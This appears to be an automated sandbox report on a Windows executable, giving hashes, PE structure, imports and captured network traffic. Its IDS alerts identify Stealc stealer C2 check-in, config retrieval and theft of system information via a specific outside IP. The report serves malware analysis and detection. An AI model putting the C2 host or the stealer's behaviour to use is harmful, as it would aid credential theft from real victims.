SSDEEP:	3072:2P8vjxd0QniyZ+qQf4VBNQ0pqbvx7U+OUaKszQ:E8vv0yTVBNQ0pUvxI+ORQ
MD5:	894627F0F0F0359629503E1B7FAD28FF
SHA1:	A1B93C2C0BBC212A734F7700BDB3C4BB263C3A96
SHA-256:	44DE19EEE80DCB6FD30D3DBCD88453D7ADEDC3A728300E4AF8F529DA61FCB6A0
SHA-512:	3ED92DC3874EF975D3CCEE6439B72C45F14F509DF6D00CFDCA6410D23A2DC3F62816E7258ACB3CE947318964D469FF834C425FBAF5A097135D363D4FD29F9F09
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_1d gb_Pe gb_pd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Od\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_jd gb_nd gb_Ed gb_kd\"\u003e\u003cdiv class\u003d\"gb_vd gb_qd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1302)
Category:	downloaded
Size (bytes):	117949
Entropy (8bit):	5.4843553913091005
Encrypted:	false
SSDEEP:	3072:D7yvvjOy7sipKTr3dH39oogNLLDzZzS7oF:D7yjOy7LS39mnhS7oF
MD5:	A5D33473ED0997C008D1C053E0773EBE
SHA1:	FEB4CB89145601A0141CC5869BEDF9AE7CD5CB80
SHA-256:	14C27BB0224FCF89A43B444B427DABE3D0AF184CAA7B6B4990CE228C51AE01C1
SHA-512:	3C0A48F9FA05469F950D9A268F1B3E9285A783A555EE597A2E203B688EB0FBCAEA3F4DE9BC8F5381C661007D0C6C4AFA70C19B7826D69A0E2A914A55973D14BD
Malicious:	false
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);.var da,ea,ha,na,oa,sa,ta,wa;da=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);na=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}};.na("Symbol",function(a){if(a)r

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.534756492690937
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	5BQwrSLxIZ.exe
File size:	654'336 bytes
MD5:	44d41fbeec6ac8aacec9b49e01d3b311
SHA1:	e5f5af2ac534e3352a93f57dae44f684a118a2b9
SHA256:	ff0b6360bee72c4ef53aada8f58cdab6a212b165fbf11b5f4cbfe4b6d1ba46cb
SHA512:	7e3b6bff1638eab6955c606d27c2c0b3a463b1f42556a54b0da09ec7df3615cf44eaf451fdf4224d29642c900fc17d1231a2e2a0b3d7f8c2e5c4d8172bcacfe2
SSDEEP:	12288:xx2oUkNRLYw0VwXICqdniu63cDa+l3jJdJqQb1Rv:xxzdLYhVkIjdiu636a+dldJqe1R
TLSH:	54D4F110F1F59026FBF74B39953896A02EFBF862B831419F6118B75E1E30AE14A67713
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......m...).}.).}.).}.....+.}.7...7.}.7...=.}.7...B.}.......}.).\|.W.}.7...(.}.7...(.}.7...(.}.Rich).}.........PE..L.....Yd...........

File Icon


Icon Hash:	73873bb18b9b83e4

Static PE Info

General

Entrypoint:	0x4015bc
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x64591EA4 [Mon May 8 16:09:08 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	fe24ff1dbcfa39a8aff7d1c0d39a34e7

Entrypoint Preview

Instruction
call 00007F908480E2DEh
jmp 00007F908480B91Dh
mov edi, edi
push ebp
mov ebp, esp
sub esp, 00000328h
mov dword ptr [0048C798h], eax
mov dword ptr [0048C794h], ecx
mov dword ptr [0048C790h], edx
mov dword ptr [0048C78Ch], ebx
mov dword ptr [0048C788h], esi
mov dword ptr [0048C784h], edi
mov word ptr [0048C7B0h], ss
mov word ptr [0048C7A4h], cs
mov word ptr [0048C780h], ds
mov word ptr [0048C77Ch], es
mov word ptr [0048C778h], fs
mov word ptr [0048C774h], gs
pushfd
pop dword ptr [0048C7A8h]
mov eax, dword ptr [ebp+00h]
mov dword ptr [0048C79Ch], eax
mov eax, dword ptr [ebp+04h]
mov dword ptr [0048C7A0h], eax
lea eax, dword ptr [ebp+08h]
mov dword ptr [0048C7ACh], eax
mov eax, dword ptr [ebp-00000320h]
mov dword ptr [0048C6E8h], 00010001h
mov eax, dword ptr [0048C7A0h]
mov dword ptr [0048C69Ch], eax
mov dword ptr [0048C690h], C0000409h
mov dword ptr [0048C694h], 00000001h
mov eax, dword ptr [0048B004h]
mov dword ptr [ebp-00000328h], eax
mov eax, dword ptr [0048B008h]
mov dword ptr [ebp-00000324h], eax
call dword ptr [000000F4h]

Rich Headers

Programming Language:

[C++] VS2008 build 21022
[ASM] VS2008 build 21022
[ C ] VS2008 build 21022
[IMP] VS2005 build 50727
[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8994c	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x2791000	0x11fd0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x88000	0x1b8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x867cc	0x86800	05af585fa069d5abe3156c1cdc1176bd	False	0.923786376045539	data	7.84793486951506	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x88000	0x2366	0x2400	936d61e0d75f56a3e21efb786c790bea	False	0.3687065972222222	data	5.548603309652549	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x8b000	0x270539c	0x4c00	56894d84a8d85469f9e35becf1f7840f	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x2791000	0x11fd0	0x12000	f749055a049284bec1fc8ce8b07e74ca	False	0.4449327256944444	data	4.964964319439995	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
PILOZAXIMU	0x279b1b0	0xbf7	ASCII text, with very long lines (3063), with no line terminators	Turkish	Turkey	0.6023506366307542
SID	0x279bda8	0x3fa	ASCII text, with very long lines (1018), with no line terminators	Turkish	Turkey	0.6267190569744597
RT_CURSOR	0x279c1a8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.31023454157782515
RT_ICON	0x27917b0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Turkish	Turkey	0.3288912579957356
RT_ICON	0x2792658	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Turkish	Turkey	0.5094765342960289
RT_ICON	0x2792f00	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Turkish	Turkey	0.5512672811059908
RT_ICON	0x27935c8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Turkish	Turkey	0.5917630057803468
RT_ICON	0x2793b30	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Turkish	Turkey	0.4258298755186722
RT_ICON	0x27960d8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Turkish	Turkey	0.4959016393442623
RT_ICON	0x2796a60	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Turkish	Turkey	0.499113475177305
RT_ICON	0x2796f30	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Turkish	Turkey	0.38646055437100213
RT_ICON	0x2797dd8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Turkish	Turkey	0.5442238267148014
RT_ICON	0x2798680	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Turkish	Turkey	0.6100230414746544
RT_ICON	0x2798d48	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Turkish	Turkey	0.6329479768786127
RT_ICON	0x27992b0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Turkish	Turkey	0.40337711069418386
RT_ICON	0x279a358	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Turkish	Turkey	0.3942622950819672
RT_ICON	0x279ace0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Turkish	Turkey	0.4441489361702128
RT_STRING	0x279d218	0xda	data			0.5688073394495413
RT_STRING	0x279d2f8	0x4e6	data			0.44976076555023925
RT_STRING	0x279d7e0	0x686	data			0.4293413173652695
RT_STRING	0x279de68	0x39a	data			0.4685466377440347
RT_STRING	0x279e208	0x740	data			0.42941810344827586
RT_STRING	0x279e948	0x65e	data			0.4306748466257669
RT_STRING	0x279efa8	0x700	data			0.43080357142857145
RT_STRING	0x279f6a8	0x6de	data			0.4334470989761092
RT_STRING	0x279fd88	0x6b6	data			0.43538998835855647
RT_STRING	0x27a0440	0x696	data			0.43416370106761565
RT_STRING	0x27a0ad8	0x85c	data			0.41962616822429905
RT_STRING	0x27a1338	0x75e	data			0.42895015906680806
RT_STRING	0x27a1a98	0x806	AmigaOS bitmap font "o", fc_YSize 8192, 19456 elements, 2nd "a", 3rd "m"			0.41820837390457644
RT_STRING	0x27a22a0	0x810	data			0.42441860465116277
RT_STRING	0x27a2ab0	0x51a	data			0.444104134762634
RT_GROUP_CURSOR	0x279d050	0x14	data			1.25
RT_GROUP_ICON	0x2796ec8	0x68	data	Turkish	Turkey	0.7115384615384616
RT_GROUP_ICON	0x279b148	0x68	data	Turkish	Turkey	0.7115384615384616
RT_VERSION	0x279d068	0x1ac	data			0.5934579439252337

Imports

DLL

Import

KERNEL32.dll

GetComputerNameA, SetProcessAffinityMask, GetNumaNodeProcessorMask, SetDefaultCommConfigA, GetLocaleInfoA, DebugActiveProcessStop, CallNamedPipeA, DeleteVolumeMountPointA, InterlockedIncrement, MoveFileExW, GetEnvironmentStringsW, Process32First, GlobalLock, GetTimeFormatA, SetCommBreak, FreeEnvironmentStringsA, GetModuleHandleW, FormatMessageA, GlobalAlloc, GetSystemWow64DirectoryW, GetConsoleAliasExesLengthW, GetFileAttributesA, GlobalFlags, HeapCreate, GetNamedPipeInfo, GetConsoleAliasW, SetConsoleCursorPosition, GetModuleFileNameW, GetConsoleFontSize, GetStringTypeExA, GetStartupInfoA, GetStdHandle, SetLastError, GetProcAddress, SetVolumeLabelW, VirtualAllocEx, BuildCommDCBW, GetNumaHighestNodeNumber, LoadLibraryA, UnhandledExceptionFilter, InterlockedExchangeAdd, OpenWaitableTimerW, MoveFileA, SetCommMask, FindAtomA, GetOEMCP, UpdateResourceW, OpenFileMappingW, SetCalendarInfoA, GetVersionExA, ReadConsoleOutputCharacterW, LocalFileTimeToFileTime, CreateFileA, CloseHandle, WriteConsoleW, GetConsoleOutputCP, MultiByteToWideChar, GetCommandLineA, TerminateProcess, GetCurrentProcess, SetUnhandledExceptionFilter, IsDebuggerPresent, HeapAlloc, GetCPInfo, InterlockedDecrement, GetACP, IsValidCodePage, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, GetCurrentThreadId, GetLastError, Sleep, HeapSize, ExitProcess, WriteFile, GetModuleFileNameA, GetEnvironmentStrings, FreeEnvironmentStringsW, WideCharToMultiByte, SetHandleCount, GetFileType, DeleteCriticalSection, VirtualFree, HeapFree, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, LeaveCriticalSection, EnterCriticalSection, VirtualAlloc, HeapReAlloc, LCMapStringA, LCMapStringW, GetStringTypeA, GetStringTypeW, InitializeCriticalSectionAndSpinCount, RtlUnwind, SetFilePointer, GetConsoleCP, GetConsoleMode, FlushFileBuffers, SetStdHandle, WriteConsoleA, GetModuleHandleA

USER32.dll

LoadIconA

Possible Origin

Language of compilation system	Country where language is spoken	Map
Turkish	Turkey

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-29T18:42:09.796846+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49704	45.88.76.238	80	TCP
2024-10-29T18:42:10.041337+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.5	49704	45.88.76.238	80	TCP
2024-10-29T18:42:10.047969+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	45.88.76.238	80	192.168.2.5	49704	TCP
2024-10-29T18:42:10.288555+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.5	49704	45.88.76.238	80	TCP
2024-10-29T18:42:10.295937+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	45.88.76.238	80	192.168.2.5	49704	TCP
2024-10-29T18:42:10.900621+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.5	49704	45.88.76.238	80	TCP
2024-10-29T18:42:11.143845+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	45.88.76.238	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 29, 2024 18:42:00.929923058 CET	49674	443	192.168.2.5	23.1.237.91
Oct 29, 2024 18:42:00.929925919 CET	49675	443	192.168.2.5	23.1.237.91
Oct 29, 2024 18:42:01.070548058 CET	49673	443	192.168.2.5	23.1.237.91
Oct 29, 2024 18:42:08.117844105 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:08.573838949 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:08.573924065 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:08.582796097 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:08.588397980 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:09.421825886 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:09.421982050 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:09.433738947 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:09.439044952 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:09.796632051 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:09.796845913 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:09.797859907 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:09.803396940 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:10.041228056 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:10.041337013 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:10.041379929 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:10.041444063 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:10.042526007 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:10.047969103 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:10.288482904 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:10.288500071 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:10.288511992 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:10.288527966 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:10.288554907 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:10.288626909 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:10.288634062 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:10.288640022 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:10.288671017 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:10.288692951 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:10.290616035 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:10.295937061 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:10.533793926 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:10.533936024 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:10.539246082 CET	49674	443	192.168.2.5	23.1.237.91
Oct 29, 2024 18:42:10.554231882 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:10.554265022 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:10.559622049 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:10.559643984 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:10.559873104 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:10.559937954 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:10.559993029 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:10.601874113 CET	49675	443	192.168.2.5	23.1.237.91
Oct 29, 2024 18:42:10.789316893 CET	49673	443	192.168.2.5	23.1.237.91
Oct 29, 2024 18:42:10.900494099 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:10.900620937 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:10.901253939 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:10.907330990 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.143690109 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.143728018 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.143739939 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.143845081 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.143845081 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.144169092 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.144192934 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.144203901 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.144237995 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.144258022 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.145143986 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.145193100 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.145203114 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.145224094 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.145262003 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.145262003 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.146143913 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.146203995 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.146205902 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.146215916 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.146250010 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.146276951 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.264219999 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.264267921 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.264280081 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.264300108 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.264324903 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.264352083 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.264405012 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.264812946 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.264837027 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.264874935 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.264874935 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.264925003 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.264938116 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.264962912 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.265027046 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.266380072 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.266391993 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.266405106 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.266448021 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.266448021 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.266453028 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.266542912 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.384578943 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.384624958 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.384637117 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.384650946 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.384705067 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.384740114 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.384740114 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.385024071 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.385070086 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.385126114 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.385138035 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.385149956 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.385169983 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.385216951 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.385940075 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.386008024 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.386018991 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.386022091 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.386064053 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.386064053 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.386087894 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.386182070 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:11.386851072 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.386879921 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.386890888 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:11.386914015 CET	49704	80	192.168.2.5	45.88.76.238
